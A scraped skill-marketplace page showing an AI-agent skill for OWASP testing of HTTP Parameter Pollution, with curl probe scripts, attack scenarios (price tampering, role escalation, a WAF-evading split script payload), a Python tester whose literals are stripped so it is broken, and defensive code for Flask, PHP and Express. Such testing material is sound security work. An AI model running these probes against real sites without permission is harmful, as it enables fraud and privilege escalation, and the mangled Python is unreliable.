Menu
The review-first prompt is selected by default. You can switch to a direct command or download a local copy.
Read SKILL.md and any companion files shown by SkillsMP before deciding whether to install.
Install with Codex or Claude Copy this prompt, paste it into Codex, Claude, or another assistant, and let it review the skill page and install it for you.
A direct command skips the review prompt. Inspect the source before running it.
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-inpv-04The command stays on one line. Scroll horizontally to inspect it before copying.
Prefer a local copy? Download the files currently available to SkillsMP.
Showing SKILL.md
macOS post-exploitation for credential harvesting, DTrace monitoring, TCC bypass, and stealth operations via native tools
Windows userland post-exploitation for credential harvesting, monitoring, AMSI/ETW bypass, and stealth operations
Kubernetes post-exploitation for container escape, secret extraction, RBAC abuse, and cluster persistence
Based on SOC occupation classification
| name | wstg-inpv-04 |
| description | Testing for HTTP Parameter Pollution (HPP) |
| category | input-validation |
| owasp_id | WSTG-INPV-04 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["injection","input-validation","xss","sqli","wstg","inpv"] |
| tech_stack | ["php","asp","jsp"] |
| cwe_ids | ["CWE-94"] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-INPV-04
Testing for HTTP Parameter Pollution (HPP)
HTTP Parameter Pollution (HPP) occurs when an application doesn't properly handle multiple parameters with the same name. Different web servers and frameworks handle duplicate parameters differently, which can lead to bypassing input validation, WAF evasion, or logic manipulation.
#!/bin/bash
TARGET="https://target.com"
# Test duplicate parameters
echo "[*] Testing duplicate parameter handling..."
# Same parameter multiple times in query string
curl -s "$TARGET/search?q=test1&q=test2" | head -20
# Parameter in both query string and body
curl -s -X POST "$TARGET/search?q=query_value" -d "q=body_value" | head -20
# URL encoded duplicates
curl -s "$TARGET/search?q=test1&q=test2&q=test3"
# Different encodings
curl -s "$TARGET/search?q=test&%71=polluted" # %71 = q
#!/usr/bin/env python3
"""
HTTP Parameter Pollution Tester
"""
requests
urllib.parse urlencode, quote
:
():
.base_url = base_url
.findings = []
.session = requests.Session()
SERVER_BEHAVIORS = {
: ,
: ,
: ,
: ,
: ,
: ,
: ,
}
():
()
url =
test_url =
response = .session.get(test_url)
()
()
response.text response.text:
()
response.text response.text:
response.text:
()
response.text response.text:
()
response.text response.text:
()
():
()
test_cases = [
,
,
,
,
,
]
test_url test_cases:
url =
response = .session.get(url)
response.status_code == :
response.text.lower() response.text.lower():
()
.findings.append({
: ,
: test_url,
: ,
:
})
():
()
payloads = [
(, ),
(, ),
(, ),
]
payload, description payloads:
url =
response = .session.get(url)
response.status_code == :
()
.findings.append({
: ,
: payload,
: description,
:
})
:
()
():
()
business_params = [
(, , ),
(, , ),
(, , ),
(, , ),
(, , ),
(, , ),
]
param, normal_val, malicious_val business_params:
url1 =
url2 =
url [url1, url2]:
:
response = .session.get(url)
response.status_code == :
()
:
():
()
payloads = [
,
,
,
]
payload payloads:
url =
response = .session.get(url)
()
():
()
variations = [
(, ),
(, ),
(, ),
(, ),
(, ),
(, ),
(, ),
(, ),
]
base_url =
variant, description variations:
url =
response = .session.get(url)
()
():
( + *)
()
(*)
()
server, behavior .SERVER_BEHAVIORS.items():
()
.findings:
()
f .findings:
()
f:
()
f:
()
f:
()
()
():
.test_duplicate_params(endpoint, param)
.test_auth_bypass(endpoint)
.test_waf_bypass(endpoint, param)
.test_business_logic()
.test_client_side_hpp(endpoint)
.test_encoding_variations(endpoint, param)
.generate_report()
tester = HPPTester()
tester.run_tests()
#!/bin/bash
# Test parameter handling by server type
TARGET="https://target.com/page"
echo "=== HPP Server Behavior Tests ==="
# Test 1: Basic duplicate parameters
echo -e "\n[Test 1] Basic duplicate: ?id=1&id=2"
curl -s "$TARGET?id=1&id=2" | grep -oP 'id["\s:=]+\K[^"&\s,<]+' | head -5
# Test 2: URL encoded duplicate
echo -e "\n[Test 2] URL encoded: ?id=1&%69%64=2"
curl -s "$TARGET?id=1&%69%64=2" | grep -oP 'id["\s:=]+\K[^"&\s,<]+' | head -5
# Test 3: Array notation (PHP)
echo -e "\n[Test 3] Array notation: ?id[]=1&id[]=2"
curl -s "$TARGET?id[]=1&id[]=2" | grep -oP 'id["\s:=]+\K[^"&\s,<]+' | head -5
# Test 4: POST body vs query string
echo -e "\n[Test 4] Query vs Body: ?id=query with POST id=body"
curl -s -X POST "$TARGET?id=query" -d "id=body" | grep -oP 'id["\s:=]+\K[^"&\s,<]+' | head -5
# Test 5: JSON body pollution
echo -e "\n[Test 5] JSON with duplicate keys"
curl -s -X POST "$TARGET" \
-H "Content-Type: application/json" \
-d '{"id":"1","id":"2"}' | head -20
# Scenario 1: Vote manipulation
# Original: /vote?poll_id=1&choice=A
# Attack: /vote?poll_id=1&choice=A&choice=B&choice=C
# If server processes all choices, attacker votes multiple times
# Scenario 2: Price manipulation
# Original: /checkout?item=123&price=100
# Attack: /checkout?item=123&price=100&price=1
# If server uses last price value, attacker pays less
# Scenario 3: Access control bypass
# Original: /api/user?id=123&role=user
# Attack: /api/user?id=123&role=user&role=admin
# If server uses last role value, attacker escalates privileges
# Scenario 4: WAF evasion
# WAF blocks: <script>alert(1)</script>
# Attack: /page?input=<script>&input=alert(1)</script>
# Server concatenates: <script>alert(1)</script> (bypasses WAF)
| Tool | Purpose |
|---|---|
| Burp Suite | Parameter manipulation |
| ParamMiner | Parameter discovery |
| Arjun | Hidden parameter finder |
| curl | Manual testing |
# Python/Flask - Handle duplicate parameters explicitly
from flask import Flask, request
app = Flask(__name__)
@app.route('/api/action')
def handle_action():
# Get only the first value
param = request.args.get('param') # First value only
# Or explicitly handle multiple values
all_values = request.args.getlist('param')
if len(all_values) > 1:
# Log potential HPP attempt
app.logger.warning(f"Multiple values for param: {all_values}")
# Use only the first or reject
return "Invalid request", 400
return process_param(param)
<?php
// PHP - Explicitly handle parameters
// By default, PHP uses the last value
// Get all values
$values = $_GET;
// Check for array parameters
if (is_array($_GET['param'])) {
// Handle array or reject
error_log("HPP attempt detected");
http_response_code(400);
exit("Invalid request");
}
// Use the expected single value
$param = $_GET['param'];
?>
// Node.js/Express - Handle duplicates
app.get("/api/action", (req, res) => {
const param = req.query.param
// Express returns array for duplicates
if (Array.isArray(param)) {
console.warn("HPP attempt:", param)
return res.status(400).send("Invalid request")
}
// Process single value
processParam(param)
})
| Finding | CVSS | Severity |
|---|---|---|
| HPP leading to auth bypass | 8.1 | High |
| HPP price/quantity manipulation | 7.5 | High |
| HPP WAF bypass | 6.5 | Medium |
| HPP logic manipulation | 5.5 | Medium |
| CWE ID | Title |
|---|---|
| CWE-235 | Improper Handling of Extra Parameters |
[ ] Duplicate parameter behavior tested
[ ] Server parameter precedence identified
[ ] Authentication bypass tested
[ ] Authorization bypass tested
[ ] WAF bypass tested
[ ] Business logic impact tested
[ ] Encoding variations tested
[ ] Findings documented